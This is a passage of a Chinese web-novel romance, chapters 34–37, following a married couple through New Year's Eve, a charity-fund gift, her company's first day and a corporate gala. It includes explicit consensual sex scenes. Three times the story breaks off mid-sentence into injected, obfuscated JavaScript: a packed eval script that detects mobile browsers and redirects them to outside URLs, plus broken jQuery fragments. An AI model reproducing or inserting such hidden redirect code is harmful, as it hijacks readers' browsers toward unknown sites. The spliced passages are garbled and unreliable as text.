她自己开车来的,上车前突然顿住脚步,回头看他。 明明再过一天还能见面。 她一弯眼:“那我就提前祝你,新春愉快。” 本想他也会说点什么,可他只是略一点头,为她打开车门。 “嗯,路上注意安全。” 心底一角,泛出艰涩味道。 家里虽然只有两个人,但年夜饭并不简略。 阿姨给他们做好一桌子菜,入夜才下班离开,晚上夏声自己慢悠悠地包一帘饺子,只等午夜前煮上。 爷孙俩守在电视前,联欢会虽然无聊,当个聊天的背景音也不错。 福宝穿着新买的红色毛绒马甲,神气地到处巡视。 四处看过,又回到夏声腿边盘成毛球。 手机群里,各个都热闹,寝室群里在发红包互抢。 公司新建的群聊,已经有五个人,大家彼此还半生不熟,发着客套的新春祝福。 就连三花聚顶群都在表情包互斗。 唯独置顶的对话框,一直安静如初。 夏声手机关了又开,不知道在等什么。 熬到快十一点,夏国理眼已经半合上,老人熬不动夜,夏声提前将饺子下锅,哄着爷爷吃了几个,讨过彩就送他先去睡。 客厅只剩她和福宝,夜猫子晚上倒精神,眼睛瞪得又大又圆,围着她脚边打转。 将饭菜收拾完,也快到零点,夏声抱起福宝站在窗前,看着外面四起的绚丽烟火,等电视里的倒计时。 主持人说起最后串词,倒数还有十秒。 身后却突然传来敲门声,一下接一下,有些急促。 夏声疑惑,抱着猫去门前,就听门外有人叫她的名字。 “夏声,是我。” 下一秒,门被打开,周庭朔孑然立于门外。 客厅里,零点的钟声恰好敲响。 窗外爆竹声热闹,炸开的烟花映在他沉墨般的眼眸中。 他弯唇:“时间刚好,新春快乐。” 34. 第 34 章 “你怎么来了?” 夏声语调上扬,又惊喜又意外,眼睛大大睁着,跟怀里的福宝一样。 猫咪探出头,毛茸茸的耳朵抖一抖,随着她喵喵叫两声。 一猫一人,对他的到来表示欢迎。 周庭朔走进去,福宝跳下地扬着尾巴跟在他后面。 客厅桌上摆着干果盘,水果,还有一杯腾着热气的茶,夏声将桌上零零散散的果壳收拾起来,给他也倒了一杯。 他接过,问:“爷爷已经睡了?” “嗯,半个小时前就上去了。” 夏声看眼躺在地上卖萌的福宝,小猫咪正滚来滚去,爪子伸出来够她的拖鞋。 “你这么晚出来,爸妈知道吗?” “不知道,他们睡得早。” 周家每年都如此,所谓过年,不过是一大家人围在桌前,吃一餐规规矩矩的饭,几个叔叔家的人也会来,显得热闹些。 席后闲聊的话题大都是世家关系,公司经营。 长辈对晚辈输送些经年的观点,再问问工作学业。 等老人觉得困乏,便各自散去,小辈们如果有安排,自己再去寻乐子。 今年,难得的是周庭昀肯回家,自从出事后,他一直独自呆在疗养院。 “你是说大哥回来了?”夏声剥着瓜子,面前已经有一个瓜子仁堆成的小山。 周庭朔抿口茶,电视上播放着春晚的重播,红火的群舞节目,又唱又跳有些吵闹。 “嗯。” “那太好了,过年一家人团团圆圆,多温馨。” 桌下福宝一直探头探脑,爪子伸出来,想要拨弄桌上的瓜子仁,被夏声拍拍脑袋赶走。 小猫咪不死心,转到他这边,又扒到桌边看。 周庭朔看着长腿中间钻出的毛绒脑袋,不觉撤开些,给它腾出位置。 夏声拍拍手,将它从他身前抱走,团在怀里揉揉它的脑袋。 “你这个小馋猫,什么都想瞧瞧尝尝。”逗猫咪的语调宠溺。 她抿着笑,手里捡上几颗瓜子仁,纵容它去闻。 “看,没什么好吃的吧。” 灯光下她的侧脸柔和,长长的睫毛低垂,鬓发别在耳后,小巧的耳垂上,是一颗红色的樱桃耳钉,随着她说话会微微颤动。 小猫咪失望地舔舔鼻子,逗得她乐出声。 周庭朔坐在旁边,安静地看着,背景里是电视节目中的欢声笑语和窗外零星的爆竹声。 夏声所说的“团圆,温馨”,这一刻在他眼中开始具象化。 两人就这样坐在沙发,有一搭没一搭地闲聊,直到福宝都开始犯困,跑回猫窝睡觉。 外面的热闹也渐渐落幕,夏声问他要不要去休息。 “一楼的房间都收拾过,床单也是新换的,你去睡会吗?” 周庭朔并不困,手里摆弄着手机:“不急,我有东西给你。” 他来时匆匆忙忙,夏声没见他带什么东西,打量他周身,也不像能藏。 直到桌上她的手机亮起一条新消息,他眼神示意。 “点开看看。” 神神秘秘,夏声盯着他,摸过手机解锁。 对话框里是一个网络链接,她顺手点开,跳转到一个页面。 纯白主页上方是水绿色的图文,正中标题写着“夏声流浪动物暖心基金”。 下面一应公示着流浪动物相关的公益项目,救助方式,钱款去向等。 她眨着眼,缓慢而又仔细地从头看下来,还是不太明白。 “这是……” “送你的新春礼物。” 夏声喜欢小动物,他很早就知道。 将福宝接回家后,她不止一次念叨过,学校里其实还有很多小流浪,但她精力有限,只能救助它这一只。 这份遗憾,不仅因为小动物可爱,更源于她柔软的内心,和丰沛的情感。 “我以你的名义,委托专门机构成立这个基金,以后会有专业人士经营运转,那些流浪的小动物,会在你的爱心之下,有更好的归宿。” 远处的福宝,在它柔软的猫窝里睡得翻出肚皮,夏声视线转回来,眼中蒙上雾气。 唇边的笑意漫开,她发自内心地惊喜与开心。 “我替‘福宝’们谢谢你!这份礼物太有意义了。” “所以,喜欢吗?” “当然。”她又点开页面,细细看过。 很快,又像想起什么,蓦地抬头。 “可我没准备你的。” 过年,她给长辈准备礼物,晚辈准备红包,唯独没想过他,她以为他们彼此都是成年人,应该不用的。 周庭朔送来的礼物不是普普通通,花钱就买,而是切实花费心思准备的,夏声心里不免有些愧疚。 “要不,过两天我补给你?” 她微微咬着唇,秀气的眉峰轻轻压下,眉头蹙起,似乎在苦恼到时应该回馈什么样的礼物,才不显得敷衍。 周庭朔转身,手指抚上她的眉心。 “不用补,现在给就行。” “现在?”她闻言抬头,眉心被他指腹展平,眼中有些迷茫。 “现在你有什么想要的吗?” 她的唇瓣刚被牙齿咬过,透出嫩红,一开一合像是引人采颉的浆果,周庭朔呼吸一顿,俯下身来。 “有。” 这句回答含混在相触的唇瓣间,她的唇甜而软,让他忍不住想深尝。 他这么想,也是这么做的。 唇齿被撬开,他的舌毫不费力地探进,吮吸着她的。 夏声屏着一口气,被他吻得手脚发软脊背发木,耳边是凌乱的呼吸声,有她的也有他的。 似乎获得的还远远不够,周庭朔轻抬她的下颌,手指顺着她的脖颈转到她脑后,抵着她迎上他更加肆无忌惮地掠夺。 她被吻得太狠,舌根又酸又麻,身体完全失去力气,只能伸手撑在身后。 那边,睡得迷糊的福宝发出一声哼唧,夏声警惕地推他一下,略微撤开些,看眼远处。 憨猫翻个身,眼都没睁开过。 夏声的脸已红透,视线回到他散开一颗扣子的衬衫领口,思绪更乱。 下一秒,周庭朔俯身屈膝,双臂穿过她身后,将她横抱起来。 “你干嘛?”骤然失重,夏声不得不攀上他的脖子。 “你不是说一楼房间还空着?” 他脚步不停,向房间方向走去。 夏声瞟眼楼梯,压低声音:“可爷爷还在呢。” “爷爷不是在楼上?” 话虽如此,但夏声一想到家里还有爷爷在,整个人都紧张得不行,说什么不肯进房间。 “万一爷爷醒了找我呢,万一他突然下楼呢。” 周庭朔低头,对上她略带企求的眼神,终于缓慢停下。 房间门就在眼前。 “哪有礼物开到一半叫停的?” 夏声抿着唇,为难:“那……先欠着,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061507|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次再开,不行吗?” 他轻笑,眉尾因笑意而舒展。 “欠着,可要算利息。” 这个时候还要讨利,果然是精明的商人。 夏声不得不问清楚:“多少利……” “不多,每延期一周,翻倍。” 这简直堪比高|利贷,但这会夏声只能说行。 周庭朔依言放下她,却没放开她。 双手虚虚搭在她后腰,将她抵在门边的墙上。 楼梯就在不远处的对面,从上面转角就能看到他们这里。 夏声越过他肩膀,警惕地盯着楼梯口,手抵在他身前。 似乎觉得她这样格外有趣,周庭朔起了逗弄的心思,低下头又吻上来。 唇被封住,她只能瞪大眼睛盯着,紧张情绪放大感官,胸口的心跳越来越重,震得她发蒙。 “別。”她刚侧过头,又被他捏着下巴转回来。 直到她喉咙里开始呜咽,人也顺着墙壁向下滑,他才缓缓松开她。 这下,需要冷静的是他们两个人了。 周庭朔站窗前平复心情,高楼大厦后的晨昏线已初具轮廓,天要亮了。 “我该走了。”他转身看向夏声。 “这么早?” 周家每年初一早上,有敬茶的规矩。 他到门口换鞋,福宝听到声音,竟然从猫窝爬起来追到门口。 夏声把外套递给他,抱起福宝跟他告别。 握起猫咪的小白爪,冲他招手:“说爸爸再见。” 周庭朔无声看着她,唇角上扬,似乎被这个称呼取悦。 哪怕是成为一只猫的直系亲属。 “我走了,你进去睡会吧。” - 年节转眼过完,夏国理的病理也有了结果,万幸是良性。 后续治疗回锦城做就行,老人离家久了也想,让夏声给他订票回去。 收拾东西时,夏声将那张存折偷偷放回他的行李。 走的那天,周庭朔开车去送。 夏声终究不舍得,拖到不得不值机,才送爷爷进去。 夏国理见她始终压着唇,情绪不高,便开解她。 “爷爷这又跨过一道坎,以后有的是时间跟你见面。” “等你再生个小娃,爷爷还要来教重外孙呢。” 离开机场时,天飘了点雪,零零散散不成片。 夏声打开车窗,看着飘进来的碎雪:“可惜,爷爷没来得及看雪。” 周庭朔余光关注着她,语气轻缓:“还有机会。” 当晚,车子载着夏声和福宝,一起回碧水华汀。 有半个多月没回来住,福宝一进屋就到处闻闻嗅嗅,四处转完确认领地,才开始撒欢。 徐姐许久没见夏声,笑着夸她新年又漂亮了。 “就是过了个年还不长肉。”徐姐手中搅着肉馅,准备一会做肉丸汤。 “先生一会可要督促太太多吃点。” 周庭朔脱下外套,看了眼夏声纤细的背影,她今天穿了一身白色细纹格长裙,收腰设计很显身形。 侧面看过去,腰肢不盈一握。 “嗯,是该多吃。” 夏声正往里走,回头看他一眼。 她从不张罗减肥,对美食也是热情不减,只是她体质如此,就是惹人恨的吃不胖。 “我吃得又不少,而且我虽然瘦,但是很健康,体力也不差。” 这话,当晚就惨遭推翻。 35. 第 35 章 夜里,夏声站在衣帽间的落地镜前纠结。 明天是公司年后第一天开工,她还不知道穿什么好。 周庭朔进来时,她正举着一身一字裙套装,和一套浅灰色阔腿西装纠结。 他刚结束运动,拿了睡衣准备去洗澡。 夏声比着两身衣服,问路过的他:“给个意见?” 落地镜很大,能容下他们两人身影,周庭朔站在她身后,比她高近一个头。 他透过镜子看过这两身,给出评价。 “都行。” 夏声刚想吐槽说了白说,他扬扬下颌指向镜子后挂着的白色长裤和黑色牛仔衣。 “你甚至可以穿后面那身。” 那套更是学生气,是她找衣服时顺手挂在那,但他好像理由充分。 “别忘了,这间公司是你创办的,你全额注资,法人上写着你的名字,所以你想怎么做都可以。” “就算你穿着睡衣去上班,也不会有人多言。” “不过,你一定要显得正式得体,建议穿灰色这套。” 他走后,夏声站在镜子前默默半晌。 即使她大学期间做过无数兼职,也与很多公司打过交道,但说到底她还是个刚毕业的学生。 没有入职过任何一家企业,未曾正式出入过职场,更没有领导过其他人。 但他一席话,倒也点醒她。 如果要求稳,当初她就该同意保研,或者出去求个差不多的职位,现在既然选择创业,就该毫无负担地放开。 何况,她现在有这份底气。 选好衣服,夏声悠闲地敷上面膜,之前洗的头发晾了半干,她正好去客卫吹头发。 等都收拾妥当回到主卧,浴室的门刚好打开。 周庭朔抬眼看她一瞬,又安静收回视线。 夏声没在意,但她忘了原本自己穿的是一身里外两件的睡衣。 刚刚因为吹头发热,她随手把外套脱掉,现在只剩里面的吊带裙。 时间也差不多该睡了,夏声绕到窗边,准备合上窗帘。 主卧的落地窗非常大,窗帘从左往右,拉起来有些重量,她抬手的过程,另一边的吊带从肩膀向下滑。 不知道哪里卡住,她拉了两下,窗帘并没动。 身后长臂探过来,在她手上方握住窗帘,略一用力,阻碍解除。 夏声回头,对上周庭朔低垂的视线。 肩上那根细带刚好擦过她锁骨上的红痣,落到肩膀下。 两人几乎胸贴背的距离,夏声想向旁边让,被他另一只手擒住腰。 她要开口,他的头低下,堵住她的话。 抓着窗帘的那只手顺势向下,握住她的手,拉下,按在还未完全掩上的窗边。 周庭朔在她身后,将她挤到玻璃窗前,她被迫侧仰着头迎他的吻。 身前是冰凉的玻璃窗,小臂和掌心贴在上面,身后是温热宽厚的胸膛,整个后背都被圈固。 夏声进退无处,下巴还被他用手托起,方便他更深的探寻,品尝。 呼吸间慢慢升温,夏声脑中的理智在一片片剥离,只剩下不断升起的干渴与焦灼。 她得了自由的手向后勾住他的脖子,慢慢转身,变成面对他的姿势。 双颊驼红,发丝几缕贴在脸侧,她挑起眼看他。 “你是来讨债的?” “看来还认账。”他低头笑,唇碰了碰她的锁骨,“连本带利,一次还清。” 夏声现在还能分出心算日期:“除夕夜到现在,刚好十天,过了一个星期,只能计息一次。” 放在她腰后的手向前推,夏声紧紧贴进他怀里,身后传来“唰”的一声。 窗帘整个掩上,她再一次被推向窗边。 背撞上去,触到厚织窗帘细腻的纹理,耳边是他不容商量的语气。 “我这里,就上不就下,所以计息两次。” 计息两次,就翻成四倍。 四次?一次还清? “你认真的?” 他用行动回答。 狩猎已经开始,夏声无处可逃。 放在她腰间的手向上一托,夏声的双腿离地,手立刻紧紧攀住他的脖子。 双腿绻起不自觉搭上他的腰,生怕掉下去。 周庭朔转身,就这样托着她回到床上。 天旋地转后,夏声的背终于触到实处,他跪在她□□,躬身将睡衣从领口扯下,她趁机向后退,又被他一把捉住脚踝。 “债还没还,去哪?” 从前一次就够她喝一壶,四次她只怕要一寸不留地被碾平。 “我渴,想去喝水。”她编个蹩脚借口。 谁知他眸色幽深地看她一眼,随即握住她的脚踝,侧头在她膝边吻了吻。 “撒谎。” 战栗的陌生感觉直上脊背,夏声惊慌,伸手推他,可推的力几乎可以忽略不计。 身体敏锐的变化开始聚集,起势,不可挡。 她像飘摇天上的风筝,翻来覆去,随风激荡。 而唯一的锚点,是他。 水润的眸渐渐迷离,夏声咬着下唇,生怕一张嘴就冒出什么奇怪的声音。 直到她被榨干最后一丝力气,眼角溢出生理性泪水,才颤着声求饶。 “周庭朔,你……” 水中捞人般,她软软地躺在枕上,胸口急促起伏着。 “我真的没力气了。” 他静默片刻,偏头看眼床下,撕开的包装不过三个。 “你还欠我一次。” 就算欠十次,夏声也没力气争论。 停战协议生效,他翻身下床去放洗澡水。 夏声意识并不十分清明,知道应该去洗,却连个指尖都懒得动。 直到有人将她再次抱起来,放进温暖舒适的浴缸中。 洗的过程也迷迷糊糊,再回到床上,她几乎立刻睡过去。 服务全程的周庭朔站在床边,无奈摇头。 “是谁说自己体力不差。” 十几分钟后,他带着一身清爽的凉意回来。 梦境中的夏声落入一个熟悉的怀抱,无意识调整下姿势,又沉沉睡去。 第二天,云声文化正式开工。 夏声作为总经理,主持了第一场会议。 除去秦莫,韩子弋,还有新入职的两人,赵文宾和许可欣。 赵文宾万万没想到自己能应聘上,上班时又兴奋又忐忑,生怕是错录他来的。 早上他来得比谁都早,把所有工位的卫生都做了一遍。 许可欣性格外向,自我介绍时用三分钟就将自己的履历说得非常清楚,条理逻辑口才俱佳,夏声有种捡到宝的感觉。 第一场短会结束,韩子弋就懒洋洋地准备撤退。 “上星期你交代我出的稿,还差两张,我争取明天交,但现在我要回去补觉。” 秦莫对她不熟,看着她扬长而去的背影,眼神询问夏声。 当然夏声了解她,之前看过她的那些作品,全部恣意、不拘、有灵气,亦有风格,跟她本人一样。 今天能来开这个会,已经是给足面子。 就由她去。 下午夏声要去工厂现场,这家是做出口轻工业品制造,一直专供欧洲订单,夏声曾给老板做过合同翻译。 老板送过她一件厂里出品的披肩,质量很好,完全不输大牌,所以她印象深刻。 做代工厂,是个很好的选择。 工厂在郊区,一来一回就两个多小时,再加上车间参观,看样品,等夏声回来已经是晚上七点多。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073884|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >车开回碧水华汀,她在地库里静坐着歇了几分钟。 等进家门,才发现周庭朔已经回来,他站在中岛台,在跟徐姐说话。 福宝跟在徐姐身后,应该是在讨吃的。 它不找周庭朔,因为他从没喂过它零食。 他转头看向刚进门的夏声,见她将脚上的高跟鞋踢下,纤细的小腿裹在长裤下,露出的脚踝有些肿。 “公司第一天这么忙?” “嗯。” 夏声说了一下午话,喉咙干疼,先去接杯水灌下。 徐姐把切好的果盘端过来:“先吃点水果吧,看样子累坏了。” 她坐在中岛台边,抬起腿揉揉脚踝。 已经喝完一杯水,不那么渴了,第二杯她慢慢一口口抿着喝。 台面上摆着周庭朔的pad,屏幕还没熄,上面是照片页面。 婚纱照。 夏声抿着玻璃杯边缘,看向他。 “薛女士认为上次给你看过,没有后续是因为我不配合。” 所以,照片发到他这,要求务必尽快确定。 她放下水杯,单手撑下巴,手指划着屏幕上的照片。 “你确定要拍吗?” 她目光又落到他身后光洁的墙面上,想到要有婚纱照挂在这房间里,就觉得违和。 “要不我们省去这步吧。”她提议。 婚事相关通常是女方更在意,仪式感、人生唯一一次、爱情留念,诸多理由佐证。 但她轻描淡写地要求省去。 “如果你不想拍,我同意,但可能需要你同薛女士说。”他回应。 如果是他说,定会被认为是他嫌麻烦而不去,唠叨数落免不了。 “好,我来说。” 第二杯水也喝完,她起身准备去换衣服洗澡。 徐姐追出来:“先吃饭吧,已经做好了。” “不了。”她摆摆手,“没胃口,我想先去睡会。” 她现在只想躺下,站了大半天,被高跟鞋摧残的脚踝急需休息,加上昨夜又没睡好。 然而累过头,洗漱完反而睡不着。 躺在床上辗转半天,越来越饿。 一看时间,已经快十点。 夏声掀被起床,准备去厨房寻觅些吃的。 冰箱里还有些徐姐塑封起来的菜,热热就能吃,但夏声懒得动。 最下面的保鲜抽屉里还有水果,她翻出一根香蕉,还想看看有什么,背后传来脚步声。 “饿了?” 夏声回头,周庭朔就在她身后,伸手将她手里的香蕉抽走,放回冰箱。 将人从冰箱前拉开,他又从里面拿出鸡蛋,青菜,虾仁。 “去那坐着等会,几分钟就好。” 想起第一次在这吃饭,就是他下厨。 夏声问:“你要给我煮面吗?” “好久没吃了,还真有点想。” 那边他已经挽起袖子,开始准备工作。 洗菜,烧水的过程中,不忘从冰箱拿出些冰块,包在毛巾中。 他将另一只凳子移过来,示意她将腿放上去。 “下肢尽量抬高,再配合冰敷,能快速消除脚踝肿胀感。” 夏声接过冰毛巾,一下下按在脚踝,看着厨房里忙碌的身影。 “你平时那么忙,怎么有时间学做饭的?”她始终好奇,他为什么会有这么好的厨艺。 “我在英国留学三年。” 哦,那不意外了。 任何一个留学生都可能练就一身好厨艺,特别是去英国留学的。 果然是几分钟,一碗海鲜面就端上来,色香味俱全,夏声吃得满足。 周庭朔坐在她旁边,静静看着,等她快吃完才开口。 “下周一晚上有安排吗?” 36. 第 36 章 夏声抬头,咽下一只虾仁。 “下周一,应该没有,怎么了?” “集团周年庆典,有个晚宴需要你出席。” 婚后,一般应酬场合,只要不是必须,他都不会要求她参加。 这还是第一次,想必比较重要。 “可以啊,我需要准备什么?”夏声低头看了眼,“是不是需要礼服?” 周庭朔起身给她倒杯温水,递过来:“不用,薛女士会准备。” “你只需要空出时间就好。” 果然如他所说,没过两天,薛宁玉就给夏声打电话,要她去家里试礼服。 夏声到西苑时,品牌方已经将礼服送到。 会客区临时变成了陈列厅,夏声从没见过这么多礼服,各种款式风格,应有尽有。 工作人员就等在旁边,方便记录有哪里需要调整更改。 “声声,快看看喜欢哪件。” 夏声没参加过这种晚宴,不知道什么风格比较适宜,就由专业人士给她建议,挑了几件去试。 她身形匀称,丰纤有度,格外衬得起衣服,试过几身都很漂亮。 一旁的周仪娇也要选,不过她选得快,试好就在旁边帮她参谋。 最衬她气质的是一条月白色鱼尾长裙,布料在灯光下会透出珍珠般的光泽,立体剪裁将她完美的腰臀比衬得更出众。 只是后背的深V有些过,直开到腰上一寸的位置。 夏声本还犹豫,周仪娇上前两步,凑到她身边。 “你们夫妻还真是有默契,都喜欢这件,那就别犹豫了,选它吧。” 她指指自己手机,屏幕上的聊天记录还热乎着。 刚刚夏声试的每一身,她都拍照实时发送,最后对面发来结论。 【鱼尾裙最适合她。】 闻言,一旁的薛宁玉也过来,看过周仪娇手机上的聊天记录,脸上尽是掩不住的笑。 “之前让他看下婚房的装修风格,他都三推四却没时间。” “这会儿帮老婆选礼服,倒是有空。” 周仪娇跟她妈妈一唱一和:“您懂什么,这叫真香定律。” 站在镜子前的夏声隐隐觉得脸颊生热,借着去换礼服,躲过她们母女的调侃。 晚宴当天,夏声特意提早结束工作。 安真本想做她的造型师,她前一天刚回来,这会也没什么事,只是夏声觉得没必要麻烦,就自己动手了。 晚上,周庭朔的车等在楼下。 夏声的裙子有些长,剪裁又太合身,加上穿了高跟鞋动作一点都不方便。 她走到车门旁,弯腰提裙摆。 司机原本在旁边想搭把手,看了眼后下车的周庭朔,默默退到一边。 夏声正在慢慢将裙摆折上来,身后有人扶住她的手肘,另一只手接过她的裙摆。 “小心头顶。” 她唇角勾起,回了句:“谢谢。” 坐上车,夏声仍要挺直着背,她回头看眼周庭朔,穿着与平时差别不大,黑色手工定制西装配黑色衬衫,藏青菱纹领带,别了一枚白金领带夹。 “你还蛮会搭配的。”夏声指指他胸前。 折叠整齐的方巾只在口袋边缘露出一小部分,月白色,丝绸质地,仿佛跟她的礼服裁自同一块布料。 “薛女士特意送过来的。” 周庭朔靠坐在一旁,刚好能将夏声大半背部收入眼中。 礼服将她的腰身收拢,深V下是她莹白如玉的脊背,漂亮的蝴蝶骨清晰可见。 头发不似往常顺直,而是被她卷成随性的波浪发,大部分挽在脑后,只留下少许,偏放在胸前一侧。 “冷吗,要不要温度调高些?”他问。 夏声一直抱着手臂,倒不是因为冷,而是一直能感觉到他投来的目光,觉得不自在。 她摇头,转身对上他的目光:“你总看着我干嘛,是哪里不合适?” 目光顺着她纤细的手臂落下:“没有。” “只是缺样东西。” 去晚宴也没有规定必须要带什么,夏声一时没想起来到底缺什么。 正低头看,周庭朔从怀中拿出一只深蓝色丝绒方盒,缓缓打开。 里面是一对款式简约优雅的对戒。 他取出稍小的女戒,将她手牵过来。 “晚宴上会有不少媒体。” 捕风捉影的事,媒体最擅长,要是被发现两人没戴婚戒,转天婚姻生变的新闻就会发得到处都是。 将她无名指抬高,戒指的主钻对正,刚好套进她的指间。 夏声抬起手在眼前打量着:“你怎么知道我的尺寸,竟然刚刚好。” “量过。”在某个她在他怀中熟睡的夜晚。 盒子中还剩一只,周庭朔递给她一个眼神。 他的手指修长,指骨分明,白金质地的戒圈推上他的手指,很适配他冷白的肤色。 不过多了一只戒指,夏声看着他,脑海里突然跳出一个单词——unaviliable。 此刻,这枚戒指宣示着,他已成为有主的、不可被觊觎的。 当然,她也一样。 车子来到礼厅门口,厚实的红毯铺至车前,夏声扶着周庭朔的手下车。 身后大衣拢上,她挽上他的手臂。 晚宴会场大多是陌生面孔,夏声陪他应酬一阵,小腿就开始有些酸胀。 为了配这套礼服,她特地选了一双十公分的红底细高跟,比平时的鞋子还要磨人。 看出她有些累,周庭朔让她先去休息区歇着。 晚宴正式开始前,他需要做周年总结发言,夏声远远坐着,看他站在人群中央,有种恍惚感。 此刻的他,从容,持重,运筹帷幄,寥寥几句却掷地有声,跟与她讨价还价时的轻黠模样全然不同。 判若两人,表里不一,她评价。 发言并不长,热烈的掌声后,晚宴正式开始。 会餐是相对自由的自助餐模式,菜品摆盘精致漂亮,却没多少人动,毕竟没几个人真是冲着吃东西来的,大多三两成群,聊天交际。 夏声却不亏自己胃口,挑了两道甜品来吃。 只是站在桌前,总觉得有目光隐隐落在她身上。 转头,视线穿过人群,对上一张熟悉的面孔。 卓冕远远走来,与她打招呼。 “你也来了,难得看到个熟人。”夏声笑得亲切。 他手中拿着香槟,目光幽幽看着她,一饮而尽。 “很无聊吧,要不要带你去外面透透气?” 今天是明箴的周年庆,周庭朔做为集团话事人,是绝对的中心,自然没时间照顾她。 夏声想想,摇头。 纵使她不必应酬,但与其他男性单独接触,被有心人留意,影响也不好。 刚好她看到周仪娇从人群中出来。 “嫂子,你怎么在这,让我好找。” 她走过来跟卓冕打过招呼,就急着拉夏声走。 “妈叫你过去呢。” 夏声手里还拿着装蛋糕的瓷碟,回头放餐具的功夫,人已被周仪娇拉住往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079338|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前走。 侧后方是端着酒杯路过的侍应生,谁也没注意到。 马上要撞上的瞬间,一个身影挡在她身侧,抬手扶住她的肩,将她带离危险地带。 情景转变太过迅速,夏声后退时鞋跟被裙摆裹住,险些摔倒。 “小心。”卓冕扶着她,帮她稳住身形。 “谢谢。”夏声一边道谢,一边弯身,试图解救自己的鞋跟。 鱼尾裙的下摆承花苞状绽开,里面是由层层叠叠的纱撑起,鞋跟就卷在那里面。 周仪娇回头,看到旁边勉强护住酒杯的侍应生,眉头皱起。 “你倒是看着点人!” 夏声被裙子束缚着,实在不方便弯腰蹲下,正心里犯难,身边的卓冕往前一步,只是还未等动作,就被人拦下。 不知什么时候过来的周庭朔在她面前站定,眼神看向卓冕。 在对方退开后,他低头看向她的裙摆。 “别急,我看看。” 他略微提起裤腿,屈膝蹲在她面前,掀开一层层裙纱,在最里面找到卷住的鞋跟。 掌心握住她的脚踝,不急不缓,几下解开纠缠。 “好了。” 周围有不少人将这一幕看在眼里,他似浑然不觉,起身站在她旁边,伸出手臂。 “走吧,几个长辈想见见你。” 夏声脚踝被他握过的地方还留有余温,垂眸搭上他的臂弯,默默点头。 她指间钻石折射出的细碎亮光,刚好落在一旁的卓冕眼中。 * 宴会厅二楼露台。 卓冕独自站在那,看着楼下正厅角落一道纤瘦的身影。 身后传来脚步声,周庭朔在他旁边站定,手臂搭在栏杆上。 “聊聊?” “你想聊什么?” …… 宴会快到尾声,夏声正在跟薛宁玉说话,周庭朔拿着她的大衣出现,直接将人牵走。 “现在可以回去了?”她提着裙摆跟着他。 “嗯,后面我可以不出面。” 站了一晚上,夏声腰也酸腿也累,刚想去车后排,发现周庭朔拉开副驾门在等她。 回去他要自己开车。 一路上,两人都没怎么说话,夏声是懒得出声,一直靠向车窗休息,等车开到楼下便抱着大衣,准备下车。 只是车门仍锁着。 她回头:“怎么了,不下车吗?” 露台上的对话,一句句浮现在周庭朔脑海。 “我跟她从前就认识。” “我不否认对她有好感。” “其实有时候我很羡慕你,如果当时跟她联姻的对象换成我,想必她也会像现在一样,站在我身边,履行职责,扮演好妻子的角色。” …… 履行职责。 周庭朔抬眸看向夏声:“如果当初是其他人跟你联姻,你会同意吗?” 夏声的头发有一缕松了,这会儿又下不了车,索性拉下化妆镜整理头发。 “不知道,你会吗?”她紧接着接了句,“你应该会。” 其实夏声心里很清楚,两人当时都是为完成任务,对象只要不是太出格,都能接受。 “所以,我可能也会。” 挽发的边夹有些松,夏声刚取下准备重新固定一下,旁边的周庭朔突然抬手合上她眼前的镜子。 “你没有那个机会了。” 还未等夏声反应过来,他已将身侧的安全带打开,一手将她怀里的大衣扔到后座,一手撑在她椅侧,探身吻过来。 37. 第 37 章 他的动作太过行云流水,眨眼的功夫,人已贴上来。 夏声本能的向旁边躲,但被安全带禁锢,也退不到哪。 地下车库的感应灯突然亮起一片,似乎有人开车过来,夏声想要推他,却被他钳住手腕按在椅子上。 裸露的背蹭在座椅微凉的皮质上,夏声又不自觉地想往前。 周庭朔噙着她的唇,一只手探到她身后,隔开椅背。 温热的掌心贴上她的肩胛骨,进一步用力,将她向他怀里推。 这会,他的吻像是带着情绪,汹涌直入,算不上温柔,更多是侵占,势要将她每一处柔软,都标记上自己的痕迹。 夏声手心发热,腰窝发软,嘴里发出不成句的音节,像是在抗议。 只是这抗议,被他视作邀请。 礼服的背开得过大,肌肤几乎大半裸露在外,他的手顺着她脊柱浅浅的凹陷向下,扶上她的腰。 接着在她腰侧轻轻按了下。 数次的实战经验,他已经很清楚她的敏感之处,不过略微挑拨,夏声便软了声调。 “别。”她立刻捉住试图作乱的手。 “你疯了,这还有人。” 后面一排,刚好有辆刚停下的车,车灯直直照向他们的后视镜,周庭朔的眼睛映在光里,暗潮汹涌。 他动作一顿,垂眸看向她略微红肿的唇瓣,低头轻触一下,随后才转身退回去。 夏声的头发已全部散开,身上的礼服被揉出几道褶皱,唇上的妆只怕也花得不像样子,转头再看他。 西服笔挺,神色坦然,连根头发丝都没乱。 真是衣冠…… 对上他的侧脸,后面两个字又自动在心里消音。 